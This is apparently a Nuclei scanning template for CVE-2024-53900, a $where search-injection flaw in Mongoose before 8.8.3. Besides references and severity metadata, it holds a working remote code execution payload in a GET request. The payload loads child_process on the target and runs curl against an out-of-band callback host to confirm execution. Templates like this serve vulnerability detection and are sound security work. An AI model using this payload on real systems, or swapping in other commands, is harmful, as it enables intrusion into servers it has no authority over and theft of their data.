漏洞描述
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
id: CVE-2024-53900
info:
name: Mongoose < 8.8.3 - Remote Code Execution
author: h4mg
severity: critical
description: |
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
reference:
- https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
- https://github.com/advisories/GHSA-m7xq-9374-9rvx
- https://www.youtube.com/watch?v=WX_N1NGPbug
- https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
- https://nvd.nist.gov/vuln/detail/CVE-2024-53900
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-53900
cwe-id: CWE-89
epss-score: 0.48788
epss-percentile: 0.97621
metadata:
verified: true
max-request: 1
product: mongoose
framework: nodejs
shodan-query: "Server: Mongoose"
tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast
variables:
pfield: "author"
http:
- method: GET
path:
- "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent: curl")'
condition: and
# digest: 490a0046304402201a28a52d51121c22c467d32808124fb347d67f6b921f2bc0953c29951082109e02204a359a5bb9ddc5fc58eb7018e40fd0eef5211d0671f75e91a09ca8d241c945a7:922c64590222798bb761d5b6d8e72950